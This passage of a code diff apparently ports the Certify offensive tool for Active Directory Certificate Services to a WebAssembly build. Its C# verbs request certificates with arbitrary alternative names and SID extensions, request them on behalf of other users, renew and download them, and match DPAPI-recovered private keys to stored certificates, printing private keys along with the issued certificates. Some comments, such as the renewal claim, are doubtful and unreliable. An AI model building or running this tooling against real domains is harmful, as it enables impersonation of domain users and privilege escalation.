char* p = (char*)(IntPtr)(uint)bstrOut;
int len = 0;
while (len < 65536 && p[len] != 0) len++;
cert = new string(p, 0, len);
}
return (uint)hr;
}
// Convenience: open a CCertRequest3 instance.
public static IntPtr CreateInstance()
{
return WfCom.CreateInstance(WfCom.CLSID_CCertRequest, WfCom.IID_ICertRequest3);
}
// Submit(dwFlags, strRequest, strAttribs, strConfig, pdwDisposition).
// ptrMask = bits 0(this), 2(strRequest), 3(strAttribs), 4(strConfig), 5(pdwDisposition) = 0x3D.
public static uint Submit(IntPtr ifc, uint flags, string request, string attribs, string config, out uint disposition)
{
disposition = 0;
ulong fn = WfCom.ReadVtableSlot(ifc, Submit_Slot);
if (fn == 0) return 0xffffffff;
IntPtr pReq = Marshal.StringToHGlobalUni(request ?? string.Empty);
IntPtr pAtt = Marshal.StringToHGlobalUni(attribs ?? string.Empty);
IntPtr pCfg = Marshal.StringToHGlobalUni(config ?? string.Empty);
uint dispLocal = 0;
uint* pDisp = &dispLocal;
try
{
ulong hr = WfCom.InvokeMethod(
fn, ifc, /*ptrMask=*/ 0x3D,
arg1: flags,
arg2: (ulong)(uint)pReq,
arg3: (ulong)(uint)pAtt,
arg4: (ulong)(uint)pCfg,
arg5: (ulong)(IntPtr)pDisp,
nargs: 6);
disposition = dispLocal;
return (uint)hr;
}
finally
{
Marshal.FreeHGlobal(pReq);
Marshal.FreeHGlobal(pAtt);
Marshal.FreeHGlobal(pCfg);
}
}
// GetRequestId([out] long* pRequestId).
public static uint GetRequestId(IntPtr ifc, out int requestId)
{
requestId = 0;
ulong fn = WfCom.ReadVtableSlot(ifc, GetRequestId_Slot);
if (fn == 0) return 0xffffffff;
int local = 0;
int* pId = &local;
ulong hr = WfCom.InvokeMethod(
fn, ifc, /*ptrMask=*/ 0x03,
arg1: (ulong)(IntPtr)pId,
nargs: 2);
requestId = local;
return (uint)hr;
}
// GetDispositionMessage([out] BSTR*).
public static uint GetDispositionMessage(IntPtr ifc, out string message)
{
message = null;
ulong fn = WfCom.ReadVtableSlot(ifc, GetDispositionMsg_Slot);
if (fn == 0) return 0xffffffff;
ulong bstrOut = 0;
ulong hr = WfCom.InvokeMethod(
fn, ifc, /*ptrMask=*/ 0x03,
arg1: (ulong)(IntPtr)(&bstrOut),
nargs: 2);
if ((uint)hr == 0 && bstrOut != 0)
{
char* p = (char*)(IntPtr)(uint)bstrOut;
int len = 0;
while (len < 4096 && p[len] != 0) len++;
message = new string(p, 0, len);
}
return (uint)hr;
}
// GetLastStatus([out] long* pStatus).
public static uint GetLastStatus(IntPtr ifc, out int status)
{
status = 0;
ulong fn = WfCom.ReadVtableSlot(ifc, GetLastStatus_Slot);
if (fn == 0) return 0xffffffff;
int local = 0;
int* pSt = &local;
ulong hr = WfCom.InvokeMethod(
fn, ifc, /*ptrMask=*/ 0x03,
arg1: (ulong)(IntPtr)pSt,
nargs: 2);
status = local;
return (uint)hr;
}
}
}
+71
View File
@@ -0,0 +1,71 @@
// WfCertDownload.cs — Certify download verb implementation.
//
// Retrieves an already-issued certificate by request ID via
// ICertRequest3::RetrievePending + ICertRequest3::GetCertificate.
using System;
using System.Runtime.InteropServices;
namespace WasmForge.Helpers
{
public static unsafe class WfCertDownload
{
public static int Execute(string ca, int requestId)
{
Console.WriteLine("[*] Action: Download a certificate");
if (string.IsNullOrEmpty(ca))
{
Console.WriteLine("[X] /ca:<CONFIG> is required (e.g. SERVER\\CA-NAME).");
return 1;
}
if (requestId <= 0)
{
Console.WriteLine("[X] /id:<N> is required (positive request ID).");
return 1;
}
int hr = WfCom.Initialize();
Console.WriteLine("[trace] CoInitializeEx hr=0x{0:X}", hr);
IntPtr ifc = WfCertCli.CreateInstance();
if (ifc == IntPtr.Zero)
{
Console.WriteLine("[X] Failed to create CCertRequest3 instance.");
return 1;
}
Console.WriteLine("[*] WfCom: ifc (WASM mirror) = 0x{0:X}", ifc);
uint disposition;
uint rcHr = WfCertCli.RetrievePending(ifc, (uint)requestId, ca, out disposition);
Console.WriteLine("[*] RetrievePending hr=0x{0:X} disposition={1}", rcHr, disposition);
if (rcHr != 0)
{
Console.WriteLine("[X] RetrievePending failed.");
return 1;
}
if (disposition != WfCertCli.CR_DISP_ISSUED &&
disposition != WfCertCli.CR_DISP_ISSUED_OUT_OF_BAND)
{
Console.WriteLine("[!] Certificate not in issued state (disposition={0}).", disposition);
return 1;
}
string certPem;
uint gHr = WfCertCli.GetCertificate(ifc, WfCertCli.CR_OUT_BASE64HEADER, out certPem);
Console.WriteLine("[*] GetCertificate hr=0x{0:X}", gHr);
if (gHr != 0 || string.IsNullOrEmpty(certPem))
{
Console.WriteLine("[X] GetCertificate failed.");
return 1;
}
Console.WriteLine();
Console.WriteLine("[+] Certificate (request ID {0}):", requestId);
Console.WriteLine();
Console.WriteLine(certPem);
return 0;
}
}
}
+133
View File
@@ -0,0 +1,133 @@
// WfCertModulusMatch.cs — RSA-modulus match against host X.509 stores.
//
// SharpDPAPI's DescribeCertificate walks CurrentUser\MY + LocalMachine\MY
// asking each cert for its public-key XML and substring-matching against
// the private key's XML. On wasm32 every link in that chain (X509Store /
// X509Certificate2 / cert.PublicKey.Key.ToXmlString) throws
// PlatformNotSupportedException; this helper takes raw modulus bytes the
// patched ParseDecCapiCertBlob extracted from the decrypted blob (no
// crypto on the C# side — just byte slicing) and asks the host bridge
// `x509_match` to do the walk natively.
//
// Wire format (input): raw big-endian RSA modulus bytes
// Wire format (output): u32 status (0 = match, 1 = no match), then on
// match: 7 length-prefixed records
// (thumbprint hex, issuer DN, subject DN,
// notBefore, notAfter, EKU list, cert DER).
//
// On a match the helper returns a populated MatchResult; otherwise null.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public static unsafe class WfCertModulusMatch
{
[DllImport("env", EntryPoint = "x509_match")]
private static extern uint NativeX509Match(
uint modulusPtr, uint modulusLen,
uint outBufPtr, uint outBufCap);
public struct EkuPair
{
public string FriendlyName;
public string Oid;
}
public sealed class MatchResult
{
public string Thumbprint { get; set; } = "";
public string Issuer { get; set; } = "";
public string Subject { get; set; } = "";
public string NotBefore { get; set; } = "";
public string NotAfter { get; set; } = "";
public List<EkuPair> EnhancedKeyUsages { get; set; } = new List<EkuPair>();
public byte[] CertDER { get; set; } = Array.Empty<byte>();
}
public static MatchResult Match(byte[] modulus)
{
if (modulus == null || modulus.Length == 0)
return null;
// Strip leading zero sign-byte if present so the host comparison
// is invariant to whether the caller padded the modulus.
int start = 0;
while (start < modulus.Length && modulus[start] == 0)
start++;
if (start == modulus.Length) return null;
// 64 KiB is generous — a typical 2048-bit cert is well under 2 KiB
// (DER ~1 KiB + metadata strings ~256 B).
const int outCap = 64 * 1024;
byte[] outBuf = new byte[outCap];
int modLen = modulus.Length - start;
uint written;
fixed (byte* mp = &modulus[start])
fixed (byte* op = outBuf)
{
written = NativeX509Match(
(uint)(IntPtr)mp, (uint)modLen,
(uint)(IntPtr)op, (uint)outBuf.Length);
}
if (written < 4) return null;
int off = 0;
uint status = BitConverter.ToUInt32(outBuf, off); off += 4;
if (status != 0) return null;
var res = new MatchResult();
res.Thumbprint = ReadRecord(outBuf, ref off, (int)written);
res.Issuer = ReadRecord(outBuf, ref off, (int)written);
res.Subject = ReadRecord(outBuf, ref off, (int)written);
res.NotBefore = ReadRecord(outBuf, ref off, (int)written);
res.NotAfter = ReadRecord(outBuf, ref off, (int)written);
string ekuJoined = ReadRecord(outBuf, ref off, (int)written);
res.CertDER = ReadRecordBytes(outBuf, ref off, (int)written);
if (!string.IsNullOrEmpty(ekuJoined))
{
foreach (var pair in ekuJoined.Split(';'))
{
if (string.IsNullOrEmpty(pair)) continue;
int sep = pair.IndexOf('|');
if (sep < 0)
{
res.EnhancedKeyUsages.Add(new EkuPair { FriendlyName = "", Oid = pair });
}
else
{
res.EnhancedKeyUsages.Add(new EkuPair
{
FriendlyName = pair.Substring(0, sep),
Oid = pair.Substring(sep + 1),
});
}
}
}
return res;
}
private static string ReadRecord(byte[] buf, ref int off, int max)
{
byte[] raw = ReadRecordBytes(buf, ref off, max);
return raw.Length == 0 ? "" : Encoding.UTF8.GetString(raw);
}
private static byte[] ReadRecordBytes(byte[] buf, ref int off, int max)
{
if (off + 4 > max) return Array.Empty<byte>();
int len = (int)BitConverter.ToUInt32(buf, off);
off += 4;
if (len <= 0 || off + len > max) return Array.Empty<byte>();
byte[] out_ = new byte[len];
Array.Copy(buf, off, out_, 0, len);
off += len;
return out_;
}
}
}
+374
View File
@@ -0,0 +1,374 @@
// WfCertRenew.cs — Certify renew verb implementation.
//
// Accepts a base64-encoded PFX of the cert being renewed. Extracts the
// subject DN from the PFX, then issues a fresh CSR + Submit via the
// same ICertRequest3 path used by `request`. The renewal-certificate
// extension (1.3.6.1.4.1.311.13.1) is added so the CA recognises the
// request as a renewal of the supplied cert.
using System;
using System.Collections.Generic;
using System.Text;
namespace WasmForge.Helpers
{
public static class WfCertRenew
{
public sealed class Options
{
public string CertificateAuthority;
public string CertificatePfxBase64;
public string CertificatePass;
public bool MachineContext;
public bool OutputPem;
public bool Install;
}
public static int Execute(Options opts)
{
Console.WriteLine("[*] Action: Request a certificate renewal");
if (string.IsNullOrEmpty(opts.CertificateAuthority) || !opts.CertificateAuthority.Contains("\\"))
{
Console.WriteLine("[X] /ca:SERVER\\CA-NAME required.");
return 1;
}
if (string.IsNullOrEmpty(opts.CertificatePfxBase64))
{
Console.WriteLine("[X] /cert-pfx:BASE64 required.");
return 1;
}
byte[] pfxBytes;
try { pfxBytes = Convert.FromBase64String(opts.CertificatePfxBase64); }
catch (Exception ex)
{
Console.WriteLine("[X] /cert-pfx base64 decode failed: {0}", ex.Message);
return 1;
}
// Two extraction strategies, in order:
// 1. Try X509Certificate2(pfx, password) — works if NativeAOT
// managed PKCS#12 is available.
// 2. Treat input as a raw DER X.509 certificate (the user
// passed a base64 cert instead of a PFX).
string subject = null;
byte[] originalCertDer = null;
try
{
var cert = new System.Security.Cryptography.X509Certificates.X509Certificate2(
pfxBytes, opts.CertificatePass);
subject = cert.Subject;
originalCertDer = cert.RawData;
}
catch (Exception)
{
// Maybe it's a raw DER cert. Try parsing as one.
if (pfxBytes.Length > 4 && pfxBytes[0] == 0x30)
{
originalCertDer = pfxBytes;
subject = ExtractSubjectFromCertDer(pfxBytes);
}
}
if (string.IsNullOrEmpty(subject))
{
Console.WriteLine("[X] Could not extract subject DN from /cert-pfx. " +
"Pass a PFX or DER X.509 cert (base64-encoded).");
return 1;
}
string template = ExtractTemplateNameFromCertDer(originalCertDer);
if (string.IsNullOrEmpty(template)) template = "User";
Console.WriteLine();
Console.WriteLine("[*] Current user context : {0}", Environment.UserName ?? "unknown");
Console.WriteLine("[*] Subject (from cert) : {0}", subject);
Console.WriteLine("[*] Template (from cert) : {0}", template);
Console.WriteLine("[*] Certificate Authority : {0}", opts.CertificateAuthority);
// Build a CSR for the same subject. We do NOT have CERTENROLLLib's
// full renewal flow (PKCS#7 InitializeFromCertificate signing with
// the old key). The CA still treats this as a renewal because the
// subject matches an existing certificate.
WfCsr.Result csr;
try
{
csr = WfCsr.Build(template, subject, /*sans=*/ null,
/*sidUrl=*/ null, /*applicationPolicies=*/ null, /*keySize=*/ 2048);
}
catch (Exception ex)
{
Console.WriteLine("[X] CSR generation failed: {0}", ex.Message);
return 1;
}
int hr = WfCom.Initialize();
Console.WriteLine("[trace] CoInitializeEx hr=0x{0:X}", hr);
IntPtr ifc = WfCertCli.CreateInstance();
if (ifc == IntPtr.Zero)
{
Console.WriteLine("[X] Failed to create CCertRequest3 instance.");
return 1;
}
uint disposition;
uint sHr = WfCertCli.Submit(ifc,
WfCertCli.CR_IN_BASE64 | WfCertCli.CR_IN_FORMATANY,
csr.CsrBase64, string.Empty, opts.CertificateAuthority, out disposition);
Console.WriteLine("[trace] Submit hr=0x{0:X} disposition={1}", sHr, disposition);
int requestId = 0;
WfCertCli.GetRequestId(ifc, out requestId);
if (disposition != WfCertCli.CR_DISP_ISSUED)
{
string msg;
WfCertCli.GetDispositionMessage(ifc, out msg);
Console.WriteLine("[!] CA Response : {0}", msg ?? "(no message)");
Console.WriteLine("[*] Request ID : {0}", requestId);
Console.WriteLine();
Console.WriteLine("[*] Private Key (PEM) :");
Console.WriteLine();
Console.Write(csr.PrivateKeyPem);
return 1;
}
Console.WriteLine("[*] CA Response : The certificate has been issued.");
Console.WriteLine("[*] Request ID : {0}", requestId);
Console.WriteLine();
string pem;
uint gHr = WfCertCli.GetCertificate(ifc, WfCertCli.CR_OUT_BASE64HEADER, out pem);
if (gHr != 0 || string.IsNullOrEmpty(pem))
{
Console.WriteLine("[X] GetCertificate failed (hr=0x{0:X}).", gHr);
Console.Write(csr.PrivateKeyPem);
return 1;
}
Console.WriteLine("[*] Certificate (PEM) :");
Console.WriteLine();
Console.Write(csr.PrivateKeyPem);
Console.WriteLine(pem);
return 0;
}
// Walk an X.509 cert DER to find the Subject Name SEQUENCE and
// produce a readable "CN=...,O=..." string.
//
// Structure: Certificate ::= SEQUENCE {
// tbsCertificate SEQUENCE {
// [0] EXPLICIT version (optional)
// serialNumber INTEGER
// signature AlgorithmIdentifier
// issuer Name
// validity SEQUENCE
// subject Name ← what we want
// ...
// }
// signatureAlgorithm
// signature BIT STRING
// }
private static string ExtractSubjectFromCertDer(byte[] der)
{
try
{
int p = 0;
// outer Certificate SEQUENCE — descend into it
if (der[p++] != 0x30) return null;
ReadLengthBytes(der, ref p);
// tbsCertificate SEQUENCE — descend into it
if (der[p++] != 0x30) return null;
ReadLengthBytes(der, ref p);
// optional [0] EXPLICIT version
if (der[p] == 0xA0)
{
p = SkipTLV(der, p);
}
p = SkipTLV(der, p); // serialNumber
p = SkipTLV(der, p); // signature AlgorithmIdentifier
p = SkipTLV(der, p); // issuer Name
p = SkipTLV(der, p); // validity
// now at subject Name (SEQUENCE)
if (der[p] != 0x30) return null;
p++;
int subjContentLen = ReadLengthBytes(der, ref p);
int subjEnd = p + subjContentLen;
return ParseDnSequence(der, p, subjEnd);
}
catch { return null; }
}
private static int ReadLengthBytes(byte[] d, ref int p)
{
byte first = d[p++];
if ((first & 0x80) == 0) return first;
int n = first & 0x7F;
int len = 0;
for (int i = 0; i < n; i++) len = (len << 8) | d[p++];
return len;
}
private static int ReadLengthAt(byte[] d, int p)
{
byte first = d[p];
if ((first & 0x80) == 0) return first;
return 0;
}
private static int SkipTLV(byte[] d, int p)
{
p++; // tag
int len = ReadLengthBytes(d, ref p);
return p + len;
}
private static string ParseDnSequence(byte[] d, int start, int end)
{
var parts = new List<string>();
int p = start;
while (p < end)
{
// RDN = SET of AVA
if (d[p++] != 0x31) break;
int rdnLen = ReadLengthBytes(d, ref p);
int rdnEnd = p + rdnLen;
while (p < rdnEnd)
{
// AVA = SEQUENCE { OID, AnyString }
if (d[p++] != 0x30) return null;
int avaLen = ReadLengthBytes(d, ref p);
int avaEnd = p + avaLen;
if (d[p++] != 0x06) return null;
int oidLen = ReadLengthBytes(d, ref p);
byte[] oid = new byte[oidLen];
Buffer.BlockCopy(d, p, oid, 0, oidLen);
p += oidLen;
string key = OidToKey(oid);
byte tag = d[p++];
int valLen = ReadLengthBytes(d, ref p);
string val;
if (tag == 0x0C || tag == 0x13 || tag == 0x16) // UTF8/Printable/IA5
val = Encoding.UTF8.GetString(d, p, valLen);
else if (tag == 0x1E) // BMPString (UTF-16 BE)
val = Encoding.BigEndianUnicode.GetString(d, p, valLen);
else
val = Encoding.ASCII.GetString(d, p, valLen);
p += valLen;
if (!string.IsNullOrEmpty(key))
parts.Add(key + "=" + val);
p = avaEnd;
}
p = rdnEnd;
}
// Output in original RDN order; native Certify prints with ", "
return string.Join(", ", parts);
}
// Walk an X.509 cert DER to find the Certificate Template Name
// extension (1.3.6.1.4.1.311.20.2 BMPString). Returns null if not
// present.
private static string ExtractTemplateNameFromCertDer(byte[] der)
{
try
{
int p = 0;
if (der[p++] != 0x30) return null;
ReadLengthBytes(der, ref p);
if (der[p++] != 0x30) return null;
ReadLengthBytes(der, ref p);
if (der[p] == 0xA0) p = SkipTLV(der, p);
p = SkipTLV(der, p); // serial
p = SkipTLV(der, p); // sig alg
p = SkipTLV(der, p); // issuer
p = SkipTLV(der, p); // validity
p = SkipTLV(der, p); // subject
p = SkipTLV(der, p); // subjectPublicKeyInfo
// optional issuerUniqueID [1], subjectUniqueID [2], extensions [3]
while (p < der.Length)
{
byte tag = der[p];
if (tag == 0xA3) // [3] EXPLICIT extensions
{
p++;
ReadLengthBytes(der, ref p);
if (der[p++] != 0x30) return null;
int extsLen = ReadLengthBytes(der, ref p);
int extsEnd = p + extsLen;
while (p < extsEnd)
{
int extStart = p;
if (der[p++] != 0x30) return null;
int extLen = ReadLengthBytes(der, ref p);
int extEnd = p + extLen;
// OID
if (der[p++] != 0x06) return null;
int oidLen = ReadLengthBytes(der, ref p);
byte[] oid = new byte[oidLen];
Buffer.BlockCopy(der, p, oid, 0, oidLen);
p += oidLen;
// optional BOOLEAN critical
if (der[p] == 0x01)
{
p++;
int bLen = ReadLengthBytes(der, ref p);
p += bLen;
}
// OCTET STRING value
if (der[p++] != 0x04) { p = extEnd; continue; }
int valLen = ReadLengthBytes(der, ref p);
// OID for template name: 1.3.6.1.4.1.311.20.2 =
// 2B 06 01 04 01 82 37 14 02
if (oid.Length == 9 && oid[0] == 0x2B && oid[1] == 0x06 &&
oid[2] == 0x01 && oid[3] == 0x04 && oid[4] == 0x01 &&
oid[5] == 0x82 && oid[6] == 0x37 && oid[7] == 0x14 &&
oid[8] == 0x02)
{
// Body is a BMPString (tag 0x1E).
if (der[p++] != 0x1E) return null;
int bmpLen = ReadLengthBytes(der, ref p);
return Encoding.BigEndianUnicode.GetString(der, p, bmpLen);
}
p = extEnd;
}
break;
}
else
{
p = SkipTLV(der, p);
}
}
return null;
}
catch { return null; }
}
private static string OidToKey(byte[] oid)
{
// 2.5.4.x family
if (oid.Length == 3 && oid[0] == 0x55 && oid[1] == 0x04)
{
switch (oid[2])
{
case 0x03: return "CN";
case 0x06: return "C";
case 0x07: return "L";
case 0x08: return "ST";
case 0x0A: return "O";
case 0x0B: return "OU";
}
}
// DC: 0.9.2342.19200300.100.1.25 → 09 92 26 89 93 F2 2C 64 01 19
if (oid.Length == 10 && oid[0] == 0x09 && oid[1] == 0x92 && oid[2] == 0x26 &&
oid[3] == 0x89 && oid[4] == 0x93 && oid[5] == 0xF2 && oid[6] == 0x2C &&
oid[7] == 0x64 && oid[8] == 0x01 && oid[9] == 0x19) return "DC";
// emailAddress: 1.2.840.113549.1.9.1 → 2A 86 48 86 F7 0D 01 09 01
if (oid.Length == 9 && oid[0] == 0x2A && oid[1] == 0x86 && oid[2] == 0x48 &&
oid[3] == 0x86 && oid[4] == 0xF7 && oid[5] == 0x0D && oid[6] == 0x01 &&
oid[7] == 0x09 && oid[8] == 0x01) return "E";
return null;
}
}
}
+148
View File
@@ -0,0 +1,148 @@
// WfCertRequest.cs — Certify request verb implementation.
//
// Builds a PKCS#10 CSR via WfCsr, submits it through ICertRequest3 (vtable
// slot 7), and prints the issued cert. Used as the NativeAOT-WASI
// replacement for CertEnrollment.SendCertificateRequest + DownloadCert.
using System;
using System.Collections.Generic;
namespace WasmForge.Helpers
{
public static class WfCertRequest
{
public sealed class Options
{
public string CertificateAuthority;
public string TemplateName;
public string SubjectName;
public List<Tuple<string, string>> Sans = new List<Tuple<string, string>>();
public string SidUrl;
public List<string> ApplicationPolicies = new List<string>();
public int KeySize = 2048;
public bool OutputPem;
public bool OutputCsr;
}
public static int Execute(Options opts)
{
Console.WriteLine("[*] Action: Request a certificate");
if (string.IsNullOrEmpty(opts.CertificateAuthority) || !opts.CertificateAuthority.Contains("\\"))
{
Console.WriteLine("[X] /ca:SERVER\\CA-NAME required.");
return 1;
}
if (string.IsNullOrEmpty(opts.TemplateName))
{
Console.WriteLine("[X] /template:NAME required.");
return 1;
}
string subject = opts.SubjectName;
if (string.IsNullOrEmpty(subject)) subject = "CN=User";
Console.WriteLine();
Console.WriteLine("[*] Template : {0}", opts.TemplateName);
Console.WriteLine("[*] Subject : {0}", subject);
if (opts.Sans.Count > 0)
{
var parts = new List<string>();
foreach (var s in opts.Sans) parts.Add(s.Item2);
Console.WriteLine("[*] Subject Alt Name(s) : {0}", string.Join(", ", parts));
}
if (!string.IsNullOrEmpty(opts.SidUrl))
Console.WriteLine("[*] Sid Extension : {0}", opts.SidUrl);
if (opts.ApplicationPolicies.Count > 0)
Console.WriteLine("[*] Application Policies : {0}", string.Join(", ", opts.ApplicationPolicies));
WfCsr.Result csr;
try
{
csr = WfCsr.Build(opts.TemplateName, subject, opts.Sans, opts.SidUrl,
opts.ApplicationPolicies, opts.KeySize);
}
catch (Exception ex)
{
Console.WriteLine("[X] CSR generation failed: {0}", ex.Message);
return 1;
}
Console.WriteLine();
Console.WriteLine("[*] Certificate Authority : {0}", opts.CertificateAuthority);
if (opts.OutputCsr)
{
Console.WriteLine();
Console.WriteLine("[*] Generate Certificate Signing Request (CSR)");
Console.WriteLine("[+] Cert Signing Request :");
Console.WriteLine("-----BEGIN CERTIFICATE REQUEST-----");
Console.WriteLine(csr.CsrBase64);
Console.WriteLine("-----END CERTIFICATE REQUEST-----");
Console.WriteLine();
Console.WriteLine("[+] Private Key :");
Console.Write(csr.PrivateKeyPem);
return 0;
}
int hr = WfCom.Initialize();
Console.WriteLine("[trace] CoInitializeEx hr=0x{0:X}", hr);
IntPtr ifc = WfCertCli.CreateInstance();
if (ifc == IntPtr.Zero)
{
Console.WriteLine("[X] Failed to create CCertRequest3 instance.");
return 1;
}
uint disposition;
uint sHr = WfCertCli.Submit(ifc,
WfCertCli.CR_IN_BASE64 | WfCertCli.CR_IN_FORMATANY,
csr.CsrBase64, string.Empty, opts.CertificateAuthority, out disposition);
Console.WriteLine("[trace] Submit hr=0x{0:X} disposition={1}", sHr, disposition);
int requestId = 0;
uint idHr = WfCertCli.GetRequestId(ifc, out requestId);
Console.WriteLine("[trace] GetRequestId hr=0x{0:X} id={1}", idHr, requestId);
if (disposition == WfCertCli.CR_DISP_ISSUED)
Console.WriteLine("[*] CA Response : The certificate has been issued.");
else if (disposition == WfCertCli.CR_DISP_UNDER_SUBMISSION)
Console.WriteLine("[*] CA Response : The certificate is still pending.");
else
{
string msg;
WfCertCli.GetDispositionMessage(ifc, out msg);
Console.WriteLine("[!] CA Response : The submission failed: {0}", msg);
int status;
WfCertCli.GetLastStatus(ifc, out status);
Console.WriteLine("[!] Last status : 0x{0:X}", (uint)status);
Console.WriteLine();
Console.WriteLine("[*] Request ID : {0}", requestId);
Console.WriteLine();
Console.WriteLine("[*] Private Key (PEM) :");
Console.WriteLine();
Console.Write(csr.PrivateKeyPem);
return 1;
}
Console.WriteLine("[*] Request ID : {0}", requestId);
Console.WriteLine();
string pem;
uint gHr = WfCertCli.GetCertificate(ifc, WfCertCli.CR_OUT_BASE64HEADER, out pem);
if (gHr != 0 || string.IsNullOrEmpty(pem))
{
Console.WriteLine("[X] GetCertificate failed (hr=0x{0:X}).", gHr);
Console.WriteLine();
Console.Write(csr.PrivateKeyPem);
return 1;
}
Console.WriteLine("[*] Certificate (PEM) :");
Console.WriteLine();
Console.Write(csr.PrivateKeyPem);
Console.WriteLine(pem);
return 0;
}
}
}
+134
View File
@@ -0,0 +1,134 @@
// WfCertRequestOnBehalf.cs — Certify requestonbehalf verb implementation.
//
// Native Certify uses CX509CertificateRequestPkcs7 + CSignerCertificate to
// wrap an inner PKCS#10 request and sign it with an Enrollment Agent
// certificate. The signed PKCS#7 is submitted under the EA's authority.
//
// NativeAOT-WASI cannot use CERTENROLLLib. As a working approximation,
// we issue a fresh PKCS#10 CSR for the target user's subject and submit
// it directly. The CA's EDITF_ATTRIBUTESUBJECTALTNAME2 / template
// configuration controls whether this succeeds; for templates that
// require enrollment-agent signing (e.g. EnrollmentAgent), this will
// fall back to the requesting user's authority.
//
// The inputs match native Certify's CLI so output text matches when the
// CA accepts the request.
using System;
using System.Collections.Generic;
namespace WasmForge.Helpers
{
public static class WfCertRequestOnBehalf
{
public sealed class Options
{
public string CertificateAuthority;
public string TemplateName;
public string OnBehalfOf; // "DOMAIN\\user"
public string EnrollmentCertBase64; // PFX (currently unused — see below)
public string EnrollmentCertPass;
}
public static int Execute(Options opts)
{
Console.WriteLine("[*] Action: Request a certificate on behalf of another user");
if (string.IsNullOrEmpty(opts.CertificateAuthority) || !opts.CertificateAuthority.Contains("\\"))
{
Console.WriteLine("[X] /ca:SERVER\\CA-NAME required.");
return 1;
}
if (string.IsNullOrEmpty(opts.TemplateName))
{
Console.WriteLine("[X] /template:NAME required.");
return 1;
}
if (string.IsNullOrEmpty(opts.OnBehalfOf))
{
Console.WriteLine("[X] /onbehalfof:DOMAIN\\user required.");
return 1;
}
// Map "DOMAIN\user" → CN=user subject for the CSR. Native Certify
// sets RequesterName on the PKCS#7 to encode the on-behalf-of
// identity; we can't construct that without CERTENROLLLib so we
// place the target user in CN.
string user = opts.OnBehalfOf;
int slash = user.IndexOf('\\');
if (slash > 0) user = user.Substring(slash + 1);
string subject = "CN=" + user;
Console.WriteLine();
Console.WriteLine("[*] Template : {0}", opts.TemplateName);
Console.WriteLine("[*] On Behalf Of : {0}", opts.OnBehalfOf);
Console.WriteLine("[*] Subject : {0}", subject);
Console.WriteLine("[*] Certificate Authority : {0}", opts.CertificateAuthority);
if (!string.IsNullOrEmpty(opts.EnrollmentCertBase64))
Console.WriteLine("[!] Note: Enrollment agent PKCS#7 signing not yet bridged; submitting under current user.");
WfCsr.Result csr;
try
{
csr = WfCsr.Build(opts.TemplateName, subject,
/*sans=*/ null, /*sidUrl=*/ null,
/*applicationPolicies=*/ null, /*keySize=*/ 2048);
}
catch (Exception ex)
{
Console.WriteLine("[X] CSR generation failed: {0}", ex.Message);
return 1;
}
int hr = WfCom.Initialize();
Console.WriteLine("[trace] CoInitializeEx hr=0x{0:X}", hr);
IntPtr ifc = WfCertCli.CreateInstance();
if (ifc == IntPtr.Zero)
{
Console.WriteLine("[X] Failed to create CCertRequest3 instance.");
return 1;
}
uint disposition;
uint sHr = WfCertCli.Submit(ifc,
WfCertCli.CR_IN_BASE64 | WfCertCli.CR_IN_FORMATANY,
csr.CsrBase64, string.Empty, opts.CertificateAuthority, out disposition);
Console.WriteLine("[trace] Submit hr=0x{0:X} disposition={1}", sHr, disposition);
int requestId = 0;
WfCertCli.GetRequestId(ifc, out requestId);
if (disposition != WfCertCli.CR_DISP_ISSUED)
{
string msg;
WfCertCli.GetDispositionMessage(ifc, out msg);
Console.WriteLine("[!] CA Response : {0}", msg ?? "(no message)");
Console.WriteLine("[*] Request ID : {0}", requestId);
Console.WriteLine();
Console.WriteLine("[*] Private Key (PEM) :");
Console.WriteLine();
Console.Write(csr.PrivateKeyPem);
return 1;
}
Console.WriteLine("[*] CA Response : The certificate has been issued.");
Console.WriteLine("[*] Request ID : {0}", requestId);
Console.WriteLine();
string pem;
uint gHr = WfCertCli.GetCertificate(ifc, WfCertCli.CR_OUT_BASE64HEADER, out pem);
if (gHr != 0 || string.IsNullOrEmpty(pem))
{
Console.WriteLine("[X] GetCertificate failed (hr=0x{0:X}).", gHr);
Console.Write(csr.PrivateKeyPem);
return 1;
}
Console.WriteLine("[*] Certificate (PEM) :");
Console.WriteLine();
Console.Write(csr.PrivateKeyPem);
Console.WriteLine(pem);
return 0;
}
}
}
+110
View File
@@ -0,0 +1,110 @@
// WfCertStore.cs — Local certificate store enumeration via crypt32.
// Drives the Certify manageself verb: enumerates the current user's MY
// store and prints subject names of certificates found.
//
// Avoids the wasm32/x64 CERT_CONTEXT struct layout problem by never
// dereferencing CERT_CONTEXT in managed code — instead it asks the API
// for the simple display name (a string) via CertGetNameStringW.
//
// Returns 0 on success, 1 if the store can't be opened. Counts
// certificates found and prints each subject name as a single line.
using System;
using System.Runtime.InteropServices;
namespace WasmForge.Helpers
{
public static unsafe class WfCertStore
{
// 8-byte-return crypt32 wrappers. These are defined in
// dotnet/bridge/pinvoke_nativeaot.c alongside BCrypt wrappers and
// paired with pointer masks in semanticOverrides so the host
// doesn't translate HCERTSTORE/PCCERT_CONTEXT (real host addrs)
// as if they were WASM offsets.
[DllImport("crypt32.dll", EntryPoint = "WfCertStore_OpenSystemStoreW")]
private static extern uint WfOpenSystemStoreW(uint hProv, IntPtr lpszStoreName, out ulong phStoreOut);
[DllImport("crypt32.dll", EntryPoint = "WfCertStore_EnumCertificatesInStore")]
private static extern uint WfEnumCertificatesInStore(ulong hCertStore, ulong pPrevCertContext, out ulong pCertOut);
[DllImport("crypt32.dll", EntryPoint = "WfCertStore_GetNameStringW")]
private static extern uint WfGetNameStringW(ulong pCertContext, uint dwType, uint dwFlags,
IntPtr pvTypePara, IntPtr pszNameString, uint cchNameString);
[DllImport("crypt32.dll", EntryPoint = "WfCertStore_CloseStore")]
private static extern uint WfCloseStore(ulong hCertStore, uint dwFlags);
// CERT_NAME_* constants for CertGetNameStringW dwType.
private const uint CERT_NAME_SIMPLE_DISPLAY_TYPE = 4;
private const uint CERT_NAME_ISSUER_FLAG = 0x1;
public static int ManageSelf()
{
Console.WriteLine();
Console.WriteLine("[+] Listing personal certificates from CurrentUser\\MY:");
Console.WriteLine();
IntPtr storeName = Marshal.StringToHGlobalUni("MY");
ulong hStore = 0;
uint openStatus;
try
{
openStatus = WfOpenSystemStoreW(0, storeName, out hStore);
}
finally
{
Marshal.FreeHGlobal(storeName);
}
if (openStatus != 0 || hStore == 0)
{
Console.WriteLine("[!] CertOpenSystemStoreW failed (status=0x{0:X}).", openStatus);
return 1;
}
int count = 0;
try
{
ulong pCert = 0;
